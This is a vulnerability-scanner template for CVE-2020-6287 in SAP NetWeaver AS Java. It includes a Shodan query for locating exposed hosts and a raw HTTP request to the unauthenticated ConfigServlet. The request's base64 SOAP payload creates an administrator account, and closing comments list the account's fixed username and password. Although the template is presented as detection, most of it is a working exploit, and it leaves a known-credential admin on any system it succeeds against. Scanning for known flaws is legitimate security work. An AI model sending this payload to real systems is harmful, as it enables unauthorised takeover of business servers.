id: CVE-2020-6287

info:
  name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition
  author: dwisiswant0
  severity: critical
  description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system.
  remediation: |
    Apply the relevant SAP Security Note or patch provided by the vendor to mitigate this vulnerability.
  reference:
    - https://launchpad.support.sap.com/#/notes/2934135
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
    - https://www.onapsis.com/recon-sap-cyber-security-vulnerability
    - https://github.com/chipik/SAP_RECON
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6287
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2020-6287
    cwe-id: CWE-306
    epss-score: 0.97274
    epss-percentile: 0.99801
    cpe: cpe:2.3:a:sap:netweaver_application_server_java:7.30:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: netweaver_application_server_java
    shodan-query: http.favicon.hash:-266008933
  tags: cve,cve2020,sap,kev

http:
  - raw:
      - |
        POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
          CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
        </baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CTCWebServiceSi"
          - "SOAP-ENV"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "SAP NetWeaver Application Server"

      - type: status
        status:
          - 200

# userName - sapRpoc6351
# password - Secure!PwD8890
# digest: 4a0a00473045022024c98acac06f56c9decc458c80e1a29e86127f9d65e824c25dc6889a749d2167022100f024cd6e263b787a3c3cdc2c477c73ba5f596baef4de35d554a6192b847657f9:922c64590222798bb761d5b6d8e72950